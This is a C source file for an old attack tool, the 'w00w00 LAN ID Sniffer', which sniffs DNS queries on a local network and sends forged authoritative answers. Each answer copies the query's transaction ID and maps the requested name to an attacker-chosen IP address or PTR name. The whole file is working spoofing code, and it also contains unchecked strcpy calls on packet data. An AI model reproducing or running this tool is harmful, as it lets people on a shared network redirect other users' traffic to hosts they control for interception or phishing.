/* w00w00 LAN ID Sniffer 	                Super Raw  */
/* ------------------------------------------------------- */
/* w00w00 Security Development (WSD)			   */
/* Email: w00w00@janova.org or WSD@janova.org		   */
/* Sites: http://www.janova.org, ftp://ftp.janova.org/pub  */
/* ******************************************************* */

#include <pcap.h>

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"

#define  ERROR	    -1                
#define  DNSHDRSIZE 12    
#define  VERSION    "v0.4" 

int ETHHDRSIZE;

void usage() {
  printf("Usage: WSDsniffID <device> <IP> <name> <type of spoof[1,12]>\n");
  printf("Example: WSDsniffID eth0 \"127.0.0.1\" \"www.its.me.com\"\n");
  printf("Raw-Powa (WSD)\n");
  
  exit(ERROR);
}       

                     
void main(int argc, char **argv)
{   
  int sraw, on = 1, tmp1, type;
     
  char *buffer;
  char *data, *data2;

  struct pcap *pcap_d;
  struct pcap_pkthdr h;
   
  struct iphdr  *ip;
  struct udphdr *udp;
  struct dnshdr *dnsrecv, *dnssend;

   char host[255];
   char tmp2[255];
   char ebuf[255];
   char buffer2[1024];    
   char spoofip[255], spoofname[255];
   
   unsigned char names[255];

	 
   printf("w00w00 LAN ID SNIFFER! Super Raw\n");
   printf("w00w00 Security Development (WSD)\n");
   printf("w00w00@janova.org, WSD@janova.org\n");
                                 
	 
   if (argc < 2) usage();
   if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
    else ETHHDRSIZE = 14; 

   if (strlen(argv[2]) > sizeof(spoofip) - 1) {
      fprintf(stderr, "argv[2] too long: %s\n", argv[2]);
      exit(ERROR);
   }	

   if (strlen(argv[3]) > sizeof(spoofip) - 1) {
      fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
      exit(ERROR);
   }	

   strcpy(spoofip, argv[2]);
   strcpy(spoofname, argv[3]);
   type = atoi(argv[4]);
  
   dnssend = (struct dnshdr  *)buffer2;
   data2   = (char *)(buffer2+12);
 
   bzero(host,    sizeof(host));
   bzero(buffer2, sizeof(buffer2));
   
  
   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if (sraw == ERROR) {
      perror("socket");
      exit(ERROR);
   }

  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) 
        == ERROR) {
    perror("setsockopt");
    exit(ERROR);
  }    
 
  /* open pcap descriptor */
  pcap_d = pcap_open_live(argv[1], sizeof(buffer), 0, 100, ebuf);
 
  while(1) {    
     buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */
      
     ip      = (struct iphdr   *)(buffer+ETHHDRSIZE);
     udp     = (struct udphdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE);
     dnsrecv = (struct dnshdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
     data    = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

     if (ip->protocol == 17)
        if (udp->dest == htons(53))    
           if (dnsrecv->qr == 0) {
              strcpy(names, data); 
              nameformat(names, host);
         
              printf("We have a DNS question from %s, which wants: %s!\n",
                     (char *)inet_ntoa(ip->saddr), host);
                                           
              bzero(host, sizeof(host));

              printf("The question has a type %d "
                     "and type of the query is %d\n",
                     ntohs(*((u_short *)(data+strlen(data)+1))), 
                     ntohs(*((u_short *)(data+strlen(data)+2+1))));
        
              printf("Making the spoofed packet...\n");
                 
              /* Here we are going to start making the spoofed packet */
       
              memcpy(dnssend, dnsrecv, DNSHDRSIZE+strlen(names)+5);
       
              dnssend->id=dnsrecv->id;     /* The ID               */   
              dnssend->aa=1;  		   /* I have the authority */ 
	      dnssend->ra=1;               /* I have the recusion  */
              dnssend->qr=1;               /* It's an answer       */
              dnssend->rep_num = htons(1); /* I have one awnser    */

            
              printf("ID = %d, Number of question = %d, "
                     "number of anwser = %d\n",
                     dnssend->id, ntohs(dnssend->que_num), 
                     ntohs(dnssend->rep_num));  

              printf("Question..\n");
              printf("domainename = %s\n", data2);
              printf("type of question = %d\n", 
                     ntohs(*((u_short *)(data2+strlen(names)+1))));
              printf("type of query = %d\n",
                     ntohs(*((u_short *)(data2+strlen(names)+1+2))));
     
             if (type == TYPE_PTR) { 
                tmp1 = strlen(names)+5;
                strcpy(data2+tmp1, names);
                tmp1 = tmp1+strlen(names)+1;                            
        
                bzero(tmp2, sizeof(tmp2));
                nameformat(spoofname, tmp2); 
          
                *((u_short *)(data2+tmp1))       = htons(TYPE_PTR);   
                *((u_short *)(data2+tmp1+2))     = htons(1);
                *((u_long  *)(data2+tmp1+2+2))   = htonl(86400);
                *((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1));
     
                strcpy((data2+tmp1+2+2+4+2), tmp2);
      
                tmp1 = tmp1 +strlen(tmp2)+ 1;
             }
      
             if (type == TYPE_A) {
                tmp1 = strlen(names)+5;
                strcpy(data2+tmp1, names);
                tmp1 = tmp1+strlen(names)+1;
                *((u_short *)(data2+tmp1))         = htons(TYPE_A);
                *((u_short *)(data2+tmp1+2))       = htons(1);
                *((u_long  *)(data2+tmp1+2+2))     = htonl(86400);      
                *((u_short *)(data2+tmp1+2+2+4))   = htons(4);
                *((u_long  *)(data2+tmp1+2+2+4+2)) = host2ip(spoofip);
             }
                        
             printf("Answer..\n");
      	     printf("domainname = %s\n", tmp2);
             printf("type = %d\n", ntohs(*((u_short   *)(data2+tmp1))));
             printf("classe = %d\n", ntohs(*((u_short *)(data2+tmp1+2))));
             printf("time to live = %lu\n", 
                   ntohl(*((u_long *)(data2+tmp1+2+2))));
             printf("resource data length = %d\n", 
                   ntohs(*((u_short *)(data2+tmp1+2+2+4))));

             printf("IP = %s\n", 
                   (char *)inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
    
             /* Now tmp1 == the total length of packet dns without the */
             /* dnshdr.			                               */
             tmp1 = tmp1+2+2+4+2+4; 
          
             udp_send(sraw, ip->daddr, ip->saddr, ntohs(udp->dest),
                      ntohs(udp->source), buffer2, DNSHDRSIZE+tmp1);
           }
  }
}
